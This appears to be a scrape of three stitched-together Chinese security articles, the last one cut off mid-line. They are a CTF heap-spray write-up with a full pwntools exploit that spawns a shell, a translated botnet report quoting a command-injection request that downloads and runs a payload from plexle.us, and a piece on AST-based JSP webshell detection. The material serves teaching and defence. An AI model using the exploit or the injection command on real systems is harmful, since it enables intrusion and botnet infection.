.data:0000401C unk_401C db 64h ; d ; DATA XREF: Create+273↑o
.data:0000401D db 0
.data:0000401E db 0
.data:0000401F db 0
.data:00004020 dd offset Emmm
.data:00004024 unk_4024 db 0C8h ; DATA XREF: Create+280↑o
.data:00004025 db 0
.data:00004026 db 0
.data:00004027 db 0
.data:00004028 dd offset anoymous
*/
int common()
{
return puts("I am a common man!");
}
int transparent()
{
return puts("I am a transparent person!");
}
int Emmm()
{
return puts("flag is flag{1t_i5_a_5ecr2t}!");
}
int anoymous()
{
return puts("I am an anonymous person!");
}
unsigned int __cdecl read_str(int str, unsigned int len)
{
int v2; // eax
int v3; // eax
unsigned int result; // eax
char buf; // [esp+13h] [ebp-15h]
unsigned int v6; // [esp+14h] [ebp-14h]
ssize_t v7; // [esp+18h] [ebp-10h]
unsigned int v8; // [esp+1Ch] [ebp-Ch]
v8 = __readgsdword(0x14u);
v6 = 0;
while ( v6 < len )
{
v7 = read(0, &buf, 1u);
if ( v7 <= 0 )
{
puts("Read error!");
exit(-1);
}
if ( buf == '\n' )
{
buf = 0;
v2 = v6++;
*(_BYTE *)(str + v2) = 0;
break;
}
v3 = v6++;
*(_BYTE *)(str + v3) = buf;
}
*(_BYTE *)(len - 1 + str) = 0;
result = __readgsdword(0x14u) ^ v8;
if ( result )
chunk_faile();
return result;
}
Display函数根据用户输入的`start_index`和`end_index`输出从`notes[start_index]`到`notes[end_index]`(包含此节点)的节点的全部内容。
int Display()
{
int result; // eax
unsigned int i; // [esp+4h] [ebp-14h]
unsigned int start_index; // [esp+8h] [ebp-10h]
unsigned int end_index; // [esp+Ch] [ebp-Ch]
printf("Please input start index : ");
start_index = read_choice();
printf("Please input end index : ");
end_index = read_choice();
if ( start_index > 0xFFF || end_index > 0xFFF )
return puts("Index error!");
for ( i = start_index; ; ++i )
{
result = i;
if ( i > end_index )
break;
printf("Notes are : %s\n", dword_4060[2 * i]);
}
return result;
}
Delete函数根据`dword_4008`的值释放`0x10`个堆块并且将对应位置的`notes[idx]`清空。
int Delete()
{
int i; // [esp+8h] [ebp-10h]
int v2; // [esp+Ch] [ebp-Ch]
v2 = dword_4008;
if ( dword_4008 < 0 || (unsigned int)dword_4008 > 0xFF )
return puts("Delete error!");
for ( i = 16 * dword_4008; 16 * (v2 + 1) > i; ++i )
{
free((void *)dword_4060[2 * i]);
dword_4060[2 * i] = 0;
}
--dword_4008;
return puts("Delete success!");
}
Modify函数对于指定`index`的堆块进行编辑。
int Modify()
{
unsigned int v1; // ST1C_4
unsigned int v2; // [esp+8h] [ebp-10h]
printf("Please input index : ");
v2 = read_choice();
if ( v2 > 0xFFF || !dword_4060[2 * v2] )
return puts("Index error!");
v1 = strlen((const char *)dword_4060[2 * v2]) + 1;
printf("Please enter the note : ");
read_str(dword_4060[2 * v2], v1);
return puts("Edit success!");
}
CallFuc这个函数检查`note[idx]`这个chunk的最后四个字节`v2`，如果`v2`这个地址的值`val`不为0就`--*v2`，指针值自减一；否则调用`*(v2+4)()`
int CallFuc()
{
int v1; // [esp+8h] [ebp-10h]
int v2; // [esp+Ch] [ebp-Ch]
printf("Please input index : ");
v1 = read_choice();
if ( v1 < 0 || (unsigned int)v1 > 0xFFF || !dword_4060[2 * v1] )
return puts("Index error!");
v2 = *(_DWORD *)(dword_4060[2 * v1] + dword_4060[2 * v1 + 1]);
if ( *(_DWORD *)v2 )
--*(_DWORD *)v2;
else
(*(void (**)(void))(v2 + 4))();
return puts("Call success!");
}
### 漏洞利用
这里的漏洞在`Create`函数里，在选择`type`的时候一旦我们没有选择`1-4`，就会直接返回，不再赋值函数指针，这就导致堆上对应的部分可能残存了之前堆块的信息，之后在`CallFuc`中处理的函数指针是可控的。
虽然可以控制这个指针`v2`，但是由于开了`PIE`以及输入`零字符截断`，我们不能通过传统方式泄露堆地址和libc地址，这里用到的就是`堆喷`的思想，我们在gdb中多次调试会发现`heap`的地址总是`0x57*`或者`0x56*`，这意味着如果我们申请足够大的内存空间(如`0x20000000`)，那么堆地址就会变成`0x56*-0x58*`，`0x57*`里是一定有值的，此时我们将`v2`设置为`0x57*`不会出现内容引用错误，那么我们如果事先在这块内存上布置好数据，通过指针引用的减一功能，对其中某块数据减一，最后再输出，就可以判断是在哪块内存做了修改，进而判断这块内存地址(通过这个固定内存地址-输出中特殊字符相对于开始的位置offset)。
这里还有一个问题就是一个大区块中的16个小区块分布是随机的，并不是按照地址递增顺序从前到后依次排布，这就导致我们无法衡量之前计算得到的这块内存地址距离开始分配内存的`heap_start`之间的距离。这里有朋友可能想到根据堆排布用`1/16`的概率爆破，但是这条路已经被出题人想到并堵死了，在`Init`函数里先用堆分配了一块`随机大小`的内存，导致堆的排布并不是完全可控的。
继续思考，虽然一个大区块的0x10个小堆块分布随机，但是由于每个大区块分配的总数是一定的我们可以根据刚才找到的小堆块挨个前推，一直找到大区块的起始位置，这个位置不具有随机性，进而可以推断出`heap_start_addr`。
堆地址泄露之后我们可以将`v2`指向一个分配到`unsorted
bin`的`chunk`部分写，用指针减一功能将`\x00`改为`\xff`，进而绕过零字符截断，输出`main_arena`相关地址泄露`libc_base`。
/*
gdb-peda$ vmmap
Start End Perm Name
0x5658e000 0x56591000 r-xp /home/wz/Desktop/CTF/tsctf2019/brother/brother
0x56591000 0x56592000 r--p /home/wz/Desktop/CTF/tsctf2019/brother/brother
0x56592000 0x56593000 rw-p /home/wz/Desktop/CTF/tsctf2019/brother/brother
0x56593000 0x5659b000 rw-p mapped
0x5811c000 0x5813e000 rw-p [heap]
0xf7dcc000 0xf7dcd000 rw-p mapped
0xf7dcd000 0xf7f7d000 r-xp /lib/i386-linux-gnu/libc-2.23.so
0xf7f7d000 0xf7f7f000 r--p /lib/i386-linux-gnu/libc-2.23.so
0xf7f7f000 0xf7f80000 rw-p /lib/i386-linux-gnu/libc-2.23.so
0xf7f80000 0xf7f83000 rw-p mapped
0xf7fa0000 0xf7fa1000 rw-p mapped
0xf7fa1000 0xf7fa4000 r--p [vvar]
0xf7fa4000 0xf7fa6000 r-xp [vdso]
0xf7fa6000 0xf7fc9000 r-xp /lib/i386-linux-gnu/ld-2.23.so
0xf7fc9000 0xf7fca000 r--p /lib/i386-linux-gnu/ld-2.23.so
0xf7fca000 0xf7fcb000 rw-p /lib/i386-linux-gnu/ld-2.23.so
0xff7dd000 0xff7ff000 rw-p [stack]
*/
unsigned int Init()
{
int v0; // eax
unsigned int result; // eax
unsigned int buf; // [esp+4h] [ebp-14h]
int fd; // [esp+8h] [ebp-10h]
unsigned int v4; // [esp+Ch] [ebp-Ch]
v4 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
alarm(0x12Cu);
fd = open("/dev/urandom", 0);
read(fd, &buf, 4u);
srand(buf);
v0 = rand();
malloc(4 * (v0 % 0x810));
result = __readgsdword(0x14u) ^ v4;
if ( result )
chunk_faile();
return result;
}
现在我们有了libc地址就可以使用libc中的`gadget`了，我们将`v2`改为堆地址`heap_addr`，在满足`*heap_addr ==
0`的条件下可以调用`*(v2+4)`上的`gadget`，经过测试发现`one_gadget`使用条件均不满足，需要自己构造`rop`。
观察CallFuc的调用部分，可以看到`.text:0000131D mov ecx,
[eax+edx*8]`将堆地址放在了`ecx`寄存器中且后续没有更改寄存器值，我们希望将栈迁移到堆，因此只要想办法将`ecx`的值放进`esp`里即可。
这里寻找了两个特殊的`gadget`，首先执行第一个`gadget`让`eax`和`ecx`寄存器的值互换然后调用`[*heap_addr]`，我们在堆块头部放第二个`gadget`，执行这个`gadget`会让`eax`与`esp`寄存器值互换，pop掉无用数据,`ret`的时候触发`rop
chain`
.text:00001314 loc_1314: ; CODE XREF: CallFuc+4A↑j
.text:00001314 lea eax, (dword_4060 - 3F98h)[ebx]
.text:0000131A mov edx, [ebp+var_10]
.text:0000131D mov ecx, [eax+edx*8]
.text:00001320 lea eax, (dword_4060 - 3F98h)[ebx]
.text:00001326 mov edx, [ebp+var_10]
.text:00001329 mov eax, [eax+edx*8+4]
.text:0000132D add eax, ecx
.text:0000132F mov eax, [eax]
.text:00001331 mov [ebp+var_C], eax
.text:00001334 mov eax, [ebp+var_C]
.text:00001337 mov eax, [eax]
.text:00001339 test eax, eax
.text:0000133B jnz short loc_1347
.text:0000133D mov eax, [ebp+var_C]
.text:00001340 mov eax, [eax+4]
.text:00001343 call eax
.text:00001345 jmp short loc_1354
/*
magic_gadget1 = 0x00161871# 0x00161871 : xchg eax, ecx ; cld ; call dword
ptr [eax]
magic_gadget2 = 0x00072e1a# 0x00072e1a : xchg eax, esp ; sal bh, 0xd8 ;
mov esi, eax ; add esp, 0x14 ; mov eax, esi ; pop ebx ; pop esi ; ret
### exp.py
这里给的exp是`w1tcher`师傅赛后给的官方exp。较为复杂，建议中间多加断点进行调试，需要注意的几个点：
1. 这里通过先分配n个堆块再释放再申请n个小堆块的方式进行堆风水排布以及`v2`指针的控制
2. 选取的地址为`0x58585858`，第一步通过输出判断`0x58585858`这个地址在我们分配的哪个`notes[idx]`的哪个`offset`处，之后根据这个设定范围，向后搜索离其最近的一个大区块的最后一个区块(这里的`最后`指的是分配的`堆地址的最大`的那一个而不是bss上这个区块里`idx`最大的那个)，最终根据偏移计算出`heap_start_addr(开始分配堆块的起始地址)`
from pwn import *
import string
import os
from hashlib import sha256
context(arch = 'i386', os = 'linux', endian = 'little')
context.log_level = 'info'
context.terminal = ['tmux', 'split', '-h']
'''
def POW():
context.log_level = 'debug'
p.recvuntil('sha256(XXXX + ')
end = p.recvuntil(') == ')[ : -5]
hs = p.recvline()[ : -1]
p.recvuntil(' : ')
s = string.letters+string.digits
for t1 in s:
for t2 in s:
for t3 in s:
for t4 in s:
if sha256(t1 + t2 + t3 + t4 + end).hexdigest() == hs:
p.sendline(t1 + t2 + t3 + t4)
context.log_level = 'info'
return
exit(0)
'''
def malloc(sz, data):
p.recvuntil('>>> ')
p.sendline('1')
p.recvuntil(': ')
p.sendline(str(sz))
for buf, te in data:
p.recvuntil(': ')
p.sendline(buf)
p.recvuntil(': ')
p.sendline(str(te))
def show(s_idx, e_idx):
p.recvuntil('>>> ')
p.sendline('2')
p.recvuntil(': ')
p.sendline(str(s_idx))
p.recvuntil(': ')
p.sendline(str(e_idx))
def delete():
p.recvuntil('>>> ')
p.sendline('3')
def modify(idx, buf):
p.recvuntil('>>> ')
p.sendline('4')
p.recvuntil(': ')
p.sendline(str(idx))
p.recvuntil(': ')
p.sendline(buf)
def callfuc(idx):
p.recvuntil('>>> ')
p.sendline('5')
p.recvuntil(': ')
p.sendline(str(idx))
def GameStart(ip, port, debug):
global p
if debug == 1:
p = process('./brother')
elif debug == 2:
p = process('./brother',env={'LD_PRELOAD':'./libc-2.23.so'})
else:
p = remote(ip, port)
#POW()
data = []
for i in range(0x10):
data.append(['X' * (0x20000 - 1), 1])
malloc(0x20000, data)
delete()
#malloc 0x100 0x20000 chunks
for i in range(0x10):
malloc(0x20000, data)
data = []
for i in range(0x10):
data.append(['X' * (0x1000 - 1), 1])
malloc(0x1000, data)
delete()
data = []
for i in range(0x10):
data.append(['X' * (0xf0 - 1), 0])
malloc(0xf0, data)
#every malloc 0x10 chunk
#set 0x58585858 = 0x58585857
callfuc(0x100)
show(0, 0x100)
index = 0
offest = 0
out = ''
for i in range(0x100):
out = p.recvline()
if 'W' in out:
index = i
break
out = out[12 : ]
offest = out.index('W')
log.info('0x58585858 is : %d' % index)
log.info('offest is : %d' % offest)
log.info('start addr is : ' + hex(0x58585858 - offest))
block_start = (index / 0x10) * 0x10
log.info('block start is : ' + hex(block_start))
magic_addr = 0x58585858
#0x100-0x110 free
delete()
count = 1
p_index = 0
while 1:
log.info("start find prev block count = %d" % count)
data = []
for i in range(0x10):
data.append([p32(magic_addr - 0x20008 * count) * (0x1000 / 4 - 1),
1])
malloc(0x1000, data)
delete()
data = []
for i in range(0x10):
data.append(['X' * (0xa0 - 1), 0])
malloc(0xa0, data)
log.info("start call fuc count = %d" % count)
callfuc(0x100)
show(block_start - 0x10, index + 1)
p_index = 0
out = ''
for i in range(index + 1 - block_start + 0x10):
out = p.recvline()
if 'W' in out:
out = out[12 : ]
print "find again! " + str(out.index('W'))
p_index = i + block_start - 0x10
break
delete()
#find last of th
if p_index < block_start:
break
count += 1
log.info('block start is : %d' % block_start)
log.info('p_index is : %d' % p_index)
heap_start_addr = magic_addr - 0x20008 * (count - 1 +0x10 * (block_start / 0x10)) - offest - 8
log.info('heap start is : ' + hex(heap_start_addr))
for i in range(0x10):
delete()
data = []
for i in range(0x10):
data.append([p32(heap_start_addr + 8 + 3 ) * (0x1000 / 4 - 1), 1])
malloc(0x1000, data)
delete()
data = []
for i in range(0x10):
data.append(['aaa', 0])
malloc(0xa0, data)
callfuc(0)
show(0, 0x10)
for i in range(index + 1 - block_start + 0x10):
out = p.recvline()
out = out[12 : -1]
if 'aaa' != out:
libc_addr = u32(out[4 : 8]) + 1 - 0x1b07b0
break
log.info('libc addr is : ' + hex(libc_addr))
delete()
magic_gadget1 = 0x00161871# 0x00161871 : xchg eax, ecx ; cld ; call dword
magic_gadget2 = 0x00072e1a# 0x00072e1a : xchg eax, esp ; sal bh, 0xd8 ;
system_offest = 0x3a940
binsh_addr = 0x15902b
data = []
for i in range(0x10):
data.append([p32(heap_start_addr + 12) * (0x1000 / 4 - 1), 1])
malloc(0x1000, data)
delete()
data = []
for i in range(0x10):
data.append([(p32(libc_addr + magic_gadget2) + p32(0) + p32(libc_addr
+ magic_gadget1) + p32(0) * 4 + p32(libc_addr + system_offest) + p32(0) +
p32(libc_addr + binsh_addr)).ljust(0xa0 -1, '\x00'), 0])
malloc(0xa0, data)
gdb.attach(p)
callfuc(0)
p.interactive()
GameStart('10.112.100.47', 9999, 2)
### 总结
这道题实际上并没有用到标准的堆喷获取控制流的技术，但是在解题过程中应用到了这种`堆喷`的思维来`bypass
PIE`。我们通过分配大量内存以及堆风水来达到控制程序反馈信息进而获得地址的目的，这种宏观意义上对于堆分配的利用同传统`glib
pwn`上考察几个堆块之间分配释放利用技巧不同，更注重大家对于全局的思考，是一道非常精妙的二进制题目。这里再次感谢`w1tcher`师傅赛后提供的writeup和exp，以及`p4nda`师傅对我的帮助。
## 参考
[演示Heap
Spray(堆喷射)的原理](https://blog.csdn.net/lixiangminghate/article/details/53413863)
[Linux内核通用堆喷射技术详解](https://xz.aliyun.com/t/2814)
[Microsoft-virtual-address-spaces](https://docs.microsoft.com/zh-cn/windows-hardware/drivers/gettingstarted/virtual-address-spaces) | 社区文章 |
**原文：[Mirai and Hoaxcalls Botnets Target Legacy Symantec Web
Gateways](https://unit42.paloaltonetworks.com/hoaxcalls-mirai-target-legacy-symantec-web-gateways/ "Mirai and Hoaxcalls Botnets Target Legacy Symantec Web
Gateways")
译者：知道创宇404实验室翻译组**
### 摘要
作为Unit
42主动监控野外传播威胁工作的一部分，我最近发现了新的Hoaxcalls和Mirai僵尸网络活动，是针对赛门铁克安全Web网关5.0.2.8中的身份验证后的远程执行代码漏洞。该产品已逐渐淘汰，于2015年到期，产品支持于2019年到期。目前还没证据表明其他版本的固件易受攻击，我已与赛门铁克共享这些发现。他们证实赛门铁克Web网关5.2.8中已不再存在当前被利用的漏洞，他们还想强调一点，此漏洞不会影响安全的Web网关解决方案，包括代理程序和Web安全服务。
2020年4月24日，第一个利用该漏洞的攻击实例浮出水面，这是同月早些时候首次发现的僵尸网络演化的一部分。这个最新版本的Hoaxcalls支持其它命令，这些命令允许攻击者对受感染的设备进行更大的控制，比如代理通信、下载更新、保持跨设备重启的持久性或防止重启，以及可以发起更多的DDoS攻击。在漏洞细节公布的几天后，就开始在野外使用该漏洞利用程序，这说明了一个事实，这个僵尸网络的作者一直在积极测试新漏洞的有效性。
此后，在5月的第一周，我还发现了一个Mirai变体活动，其中涉及使用相同的漏洞利用，尽管在该活动中，样本本身不包含任何DDoS功能。相反，它们的目的是使用证书暴力进行传播以及利用赛门铁克Web网关RCE漏洞。本文讲述有关这两个活动值得注意的技术细节。
### Hoaxcalls进化
Hoaxcalls僵尸网络是Bashlite/Gafgyt恶意软件家族的一个分支，首次发现是在2020年4月，它利用了最近披露的某些Grandstream商务电话IP
PBX系统模型和Draytek Vigor路由器中的漏洞。
几周后，发现该僵尸网络利用了一个未修补的漏洞，该漏洞影响了Zyxel Cloud CNM SecuManager。
4月24日，我观察到同一僵尸网络的样本，该僵尸网络包含针对EOL的赛门铁克安全Web网关5.0.2.8版本的利用，并带有以下格式的HTTP请求：
POST /spywall/timeConfig.php HTTP/1.1
User-Agent: XTC
posttime=1585228657&saveForm=Save×ync=1&ntpserver=http://qweqwe.com;$(wget%20http://plexle.us/Th5xrRAm%20-O%20/tmp/viktor%20&&%20chmod%20777%20/tmp/viktor%20&&%20/tmp/viktor);#&timezone=5
如上面代码所示，一些样本访问了一个公共文件上传服务(plexle[.]us)的URL，其中托管了开发后的payload。
这篇文章的末尾可以找到完整的IOCs和攻击活动时间表。
虽然Hoaxcalls僵尸网络的新版本非常类似于最初的版本，以至于它甚至使用相同的加密方案相同的密钥，它还支持其他命令，使攻击者可以更有效地控制受感染的设备，例如通过它们代理流量、下载更新、在设备重启时保持持久性或者防止重启，以及可以发起的更多DDoS攻击。下面详细说明。
表1 新的Flooder命令
与更新联系的URL提供了一个Shell脚本，该脚本从攻击者控制的URL下载并执行二进制文件。
图1 Hoaxcalls更新URL
其他bot和Flooder命令与之前版本的Hoaxcalls僵尸网络有共同之处，在[前面](https://unit42.paloaltonetworks.com/new-hoaxcalls-ddos-botnet/ "前面")已经详细描述过。
### Mirai 变种
该活动的样本于5月初浮出水面，构建于Mirai源代码之上，并通过UPX算法使用不同的4字节密钥打包了UPX的修改版本。
Mirai源代码的另一个不同之处是使用了全部10个8字节密钥，这些密钥累积起来用于按字节方式的字符串加密方案。
0xDEADBEEF, 0x85DAB8BF, 0xDEEDEEBF, 0xDEABBEAF, 0xDBBD45BF, 0x246584EF, 0x85BFE8BF, 0xD68395BF, 0xDBAAAAAF, 0x0DAABEEF
这类似于Hoaxcalls僵尸网络所使用的方案，在以前的变种中也见过。然而，从先前的实现中也可以很明显地看出，使用多个密钥并不意味着更大的加密复杂性，在本例中，这实际上相当于使用0x5a的按字节XOR加密。
在本次活动中，样本本身不包含任何DDoS功能，而是使用凭据暴力破解并且利用赛门铁克安全Web网关RCE漏洞进行传播。
#### 关于成功开发的猜测
值得一提的是，僵尸网络的成功利用和感染受到以下两个条件的限制：
1. 被利用的赛门铁克安全Web网关RCE漏洞是一个身份验证后的漏洞，意味着该漏洞仅对经过认证的会话有效。
2. 目标设备是2012年的EOLD产品，安装了新固件的设备不会受到攻击。
### 结论
在这两种攻击中，可以假定它们成功利用此漏洞是受到赛门铁克安全Web网关RCE漏洞的身份验证特性的限制。
Palo Alto Networks的客户受到WildFire的保护，可检测所有带有恶意判断的相关样本，并阻止该变种使用的所有攻击。
Palo Alto Networks在本报告中与我们的网络威胁联盟其他成员共享了我们的发现，包括文件样本和IoCs。
CTA成员使用此情报可快速向其客户部署保护，并系统地破坏恶意网络攻击者。
### IoCs
**First Seen** | **SHA256** | **URL**
---|---|---
2020-05-07 | 1cec4576595048a179bf8c21b58f33ef61ae1825b2b3f0a86915a741a04f253f
| 45[.]95.168.250/swrgiuhguhwrguiwetu/arm
2020-05-07 | a31187ed8545789ff2979037e19e1ca18d35a75820a1ec91053782f30c47ecc5
| 45[.]95.168.250/swrgiuhguhwrguiwetu/arm5
2020-05-07 | ef5d39a3fa641b4d55d870437a9ba774eefcfa2c69066dd0a6fbe513a4b7a8f2
| 45[.]95.168.250/swrgiuhguhwrguiwetu/arm6
2020-05-07 | 04e8356bdc8782cf03acc9f69ff6fa9dfde7378dcd1fe0dc737d13fd4d7e061e
| 45[.]95.168.250/swrgiuhguhwrguiwetu/arm7
2020-05-07 | 60f755288c9d3110d2fe5d872b2c045156dcea4be9a5cc918bddf1e786881842
| 45[.]95.168.250/swrgiuhguhwrguiwetu/m68k
2020-05-07 | 0e531e105aa3419cd19e95fa9d44f6176157002a09444a1e5465657d743180ac
| 45[.]95.168.250/swrgiuhguhwrguiwetu/mips
2020-05-07 | 02dc186a39607475838bb4859f89e7a200f74fed41400ab5db4eb42d3f58f772
| 45[.]95.168.250/swrgiuhguhwrguiwetu/mpsl
2020-05-07 | 72675ccf2d4e0d0aac2f5121a6a80ea1efc4f30b22e64b07bd891438de2bf82a
| 45[.]95.168.250/swrgiuhguhwrguiwetu/ppc
2020-05-07 | 0a48cc158a07e13bd76ac941c4523692530f836d69256b02a10052248263d781
| 45[.]95.168.250/swrgiuhguhwrguiwetu/sh4
2020-05-07 | 37dfde696632295e806924de3d3ab751404e2a968e063a12ce72eb2e3ce0b984
| 45[.]95.168.250/swrgiuhguhwrguiwetu/x86
2020-05-02 | da84fd43cb8701c4e23dd0a4175ebccebda026ca2f47b7b1bad393205075389f
| 164[.]132.92.180/arm4
2020-05-02 | 287645a5a29a39ef94aa0cdebdbd3cb4ad2a45ead8894fc323a5a2a76a7fdb0d
| 164[.]132.92.180/arm5
2020-05-02 | 4a4316178e85e0d4c94d74af9f2258c045194cf7a4f4a83a90abf5db09fbaa04
| 164[.]132.92.180/i586
2020-05-02 | 38290965b2cd8048b3ef076487b99dfbeef457f6f6f9998b95ff922e160a5113
| 164[.]132.92.180/i486
2020-05-02 | 25d1c51135dca20f4f7a720f237d9186edde2a2a664ede6bef37e843e7be409c
| 164[.]132.92.180/i686
2020-05-02 | 012d49c6e847f2f75983b46a9a1310dac29b5f8d30b665ae2124d8619b80753b
| 164[.]132.92.180/m68k
2020-05-02 | 763dfa5f391d27e65be6682c2e58c888df309fa2732781db312f5c9b10e6d5a1
| 164[.]132.92.180/mips
2020-05-02 | ad1156e6ad91b02f225d82d96000cf9abf671a305e8c5c61229d69dbed5050ba
| 164[.]132.92.180/mips64
2020-05-02 | 28f31eb4b1fd3b7e742f5043a26b383585317d16bbfdae0296e18b90dcbec29b
| 164[.]132.92.180/ppc440
2020-05-02 | 5d8756118b7e017eb4f4c5da4236191b20a5c8cb96abb76c26f0e918a76bd973
| 164[.]132.92.180/mpsl
2020-05-02 | 1f64287ae9ea968017b3615f2b5b51932d7eeb3f0ee6621f74ae29af8f1a27d5
| 164[.]132.92.180/sh4
2020-05-02 | 65a8ea32f77c2d18325d49d0cc32a4bbf893a2f106e77e8a8670191c71b456a9
| 164[.]132.92.180/spc
2020-05-02 | 2b0854d40d8ffdca886f4540156b7addc4245de5df197e39ce198b9cf098944a
| 164[.]132.92.180/arm6
2020-05-02 | 43ce5e4fb95b57fa2921d718e989107a594d5287b5bbbcb3e9bff262a982e815
| 164[.]132.92.180/ppc
2020-05-02 | 3d6be7b9bd4798000230e354a5777601ca6672c8d84af842469ddeb1681ed7f2
| 164[.]132.92.180/arm7
2020-05-02 | e0141934100df75d6b0c61858fc4cc44f97ce2a2588aa5d042f965f9542b843b
| 164[.]132.92.180/x86
2020-05-01 | 85f397e052950f736b32f0463dce7a1458ed034bec57284ea83d2ee4788f8a82
| 164[.]132.92.180/x86
2020-05-01 | b39763036951bb373e1389362c4de6c4cbd3af3757dbb66d53fceb69de02677f
| 164[.]132.92.180/arm7
2020-05-01 | 6d76fd0bb5ba2d1c19f64288bb4b20eb136171aa8ea1afb685d2e363911aab2f
| 164[.]132.92.180/arm6
2020-05-01 | 5415ce3e759bcc3a8a163a84b64a7185f6540d4ec0ff07627ac770fd0ef0244d
| 164[.]132.92.180/arm5
2020-05-01 | b52f8ff49e172a3e41ec60010c4089e3534ad1f0582a7ee04c4aa58c34db21ca
| 164[.]132.92.180/arm4
2020-05-01 | e248445c39cac693fc2a921e41879fb80286f418c352d7a9d428d6181fe113a3
| 164[.]132.92.180/mpsl
2020-05-01 | a3e2d3536d3facd3d825949addd7e99152b5df395b26e41e04b16be0a8cf4d85
| 164[.]132.92.180/mips
2020-04-27 | 82e5e0f6c130a3f0424cf33468f5ec7a3a66d14f5d346196d1b604ecd2b1e6a3
| 164[.]132.92.180/x86
2020-04-27 | fa1bc69c9eccaaa4b8131856f9e69837f10dfa1236a65e0a8954d297c2a465bd
| 164[.]132.92.180/arm4
2020-04-26 | 233d4f6ee9f0ffb52b88de0218a0a4b04e3b20c5440e6414255d644ef696d190
|
2020-04-24 | 81e9a4b8f8a7d06d871488d9c869bde54a83ff7fe33d652ed58c10109b9830ee
| plexle[.]us/Th5xrRAm
2020-04-24 | e15eeeaeb0ac0639bf3491ba8801e30516e085047f2d787397966065bdf9d5e7
|
2020-04-24 | 5916171938fba2d218de38c8b1f484345bc62d436b7b501ef986ae06c133b13d
|
2020-04-24 | 970496ac754ce7573216950a9904bdfc75574b4c0605e1d62364be799b9c813b
|
2020-04-24 | 735beaa92e7d697a521c7ed5292b3e8100c29a2af88f1a1b99abf0a1bc5ab5c8
| 164[.]132.92.180/i686
2020-04-24 | 84e017a59f9f7d7d5fde40bc2867a1e9d6ec6fae63b3e21685b3bb7166357531
| 164[.]132.92.180/arm7
2020-04-24 | 81e9a4b8f8a7d06d871488d9c869bde54a83ff7fe33d652ed58c10109b9830ee
|
2020-04-24 | 9ce642628cec8de80d2186d5d7f020635180326ed9e33cabde46d6c9b2caba1b
|
2020-04-24 | 20c3f1bbf4ae4733c6e01eb4f82a251bcb5b0ae0bd5f1b1a028b7ff65ea779af
|
2020-04-24 | ddab987e986f76fcc36af92a6ea15439dd36253d91c0c3cddd77b2b9fd9ff395
|
2020-04-24 | 7bca6fcc70d14253803780e80ee57b29814adeae1af993374f919a1017f5b0f5
|
* * * | 社区文章 |
# 前言
在上文《[基于AST的Webshell检测》](https://xz.aliyun.com/t/5848
"基于AST的Webshell检测》")中，笔者已经提出了基于抽象语法树是可以用来检测Webshell的，那么如何将这种思想应用在jsp/jspx的webshell检测便是本文讨论的重点。
简单回顾下抽象语法树的检测原来，由于webshell和正常文件在语法结构上会有比较明显的出入，比如说一句话木马普遍流程就是传参然后执行命令，转化为语法结构上其实是比较单一的，正常文件的语法结构会比这复杂的多得多，因此从语法结构上来分辨是否为webshell也是一种不错的选择。但是语法结构的缺点就是难以对具体参数进行分析，所以当出现“eval('1111');”和“eval(file_put_contents('shell.php','<?php
phpinfo()'));”这种需要去区分具体数据的时候使用ast来做检测就会显得非常困难。
那么应用到java环境下，黑客的正常攻击流程就是通过web漏洞传入webshell，然后通过小马传大马的方式进行后渗透攻击，一般java环境下想要rce要么任意文件上传，要么反序列化执行命令（还有其他方法，这里只列举主流方法），所以通过任意文件上传就一定会留下文件痕迹，一般来说java的可执行文件为jsp或者jspx，一般情况下jspx是一种绕过jsp文件上传的方式，这里作一并处理。
回顾前面的检测原理，jsp文件的语法结构特征其实相较于php来说，是更为明显的。原因在于一般情况下jsp文件是作页面展示用的，而具有webshell特征的jsp文件是通过传参的方式来执行命令，在语法结构上其实是有本质的区别，所以这里起码检测原理是说的过去的，并且切实可行的。
# 数据处理
机器学习我们知道最重要的一步其实就是特征工程的构建上，那么这里jsp文件其实是没有专用的工具来解析其抽象语法树的，并且jsp文件跟php文件的最大区别就是php文件时可以直接执行的，而jsp文件其实是需要通过中间件进行编译后才能执行，那么这个问题其实就转化为了：在Tomcat等中间件服务器下，jsp文件经过了哪些处理流程？
这里jsp文件首先经过jsp
parse会被编译为java文件，然后通过servlet分析器将java文件编译为class文件，最后将其转化为对应的Java字节码加载执行，这中间其实有一步比较关键，那就是编译为java文件这一步。
## 文件编译
那么作为检测程序来说，肯定不能说让tomcat调用这程序一遍，然后直接抓编译好的java文件，那么这里就必须要先运行tomcat服务器，使其自动加载WEB目录下的程序，这对于我们自动化检测来说肯定是不可取的，如果现在想要批量检测，就必须要有自己的编译工具，所幸这里找到了tomcat中编译jsp程序的类（org.apache.jasper.servlet.JspServlet），这里其实是一个比较大的坑，这里将编译命令直接放出来。
java -cp "apache-tomcat-8.5.35/lib/*:apache-tomcat-8.5.35/bin/*" org.apache.jasper.JspC -webapp webroot -d webroot_java
#直接运行可能会有点问题，需要在lib目录下加入ant.jar包
#-webapp ： 指定文件目录
#-d : 指定编译后的文件目录
通过运行上述命令，我们其实就已经可以将某一个存放webshell文件的目录给转化为java文件，其中发现对于jspx文件的编译也是使用了同样的模块，所以这里也能够检测jspx的webshell。
## 抽象语法树的构建
针对jsp的抽象语法树构建笔者并没有找到相关工具，但是针对java的ast构建工具起码还有选择，这里使用的是javaparser这个工具来生成相应的抽象语法树
使用javaparser也比较简单，通过maven架构直接加载对应的pom信息即可
<dependencies>
<dependency>
<groupId>com.github.javaparser</groupId>
<artifactId>javaparser-core</artifactId>
<version>3.14.8</version>
</dependency>
</dependencies>
这里在参照了网上的大部分教程后，决定使用文件流的方式来静态编译。
public static void main(String[] args) throws Exception {
String filename = args[0];
//File file = new File("src/classes/org/apache/jsp/s03_jsp.java");
File file = new File(filename);
FileInputStream in = new FileInputStream(file);
CompilationUnit cu = StaticJavaParser.parse(in);
cu.accept(new MethodVistor(),null);
}
这里的MethodVistor类其实就是语法结构类型的检测方法，比如说函数调用可能就叫MethodCall，如果是注释就叫Comment，所以说经过这个类我们就能够生成全局的语法结构节点序列。这中间并不是取了所有的语法结构特征，并且针对部分语法结构特征做了深一步处理，如函数调用可能需要进一步获取函数名等。
# 机器学习
得到这个序列后，需要使用相关模型来将其转化为矩阵，以便后面的训练和学习，针对这种序列流模型，我采用的是tfidf模型，主要思想就是如果某个词或短语在一篇文章中出现的频率TF高，并且在其他文章中很少出现，则认为此词或者短语具有很好的类别区分能力，适合用来分类。这个模型其实是由词频和逆向文件频率组成的，最后表示其实就是两个参数的乘积，这个不多说，，没什么意义。。
CV = CountVectorizer(ngram_range=(1,3), decode_error="ignore",max_features=max_features,
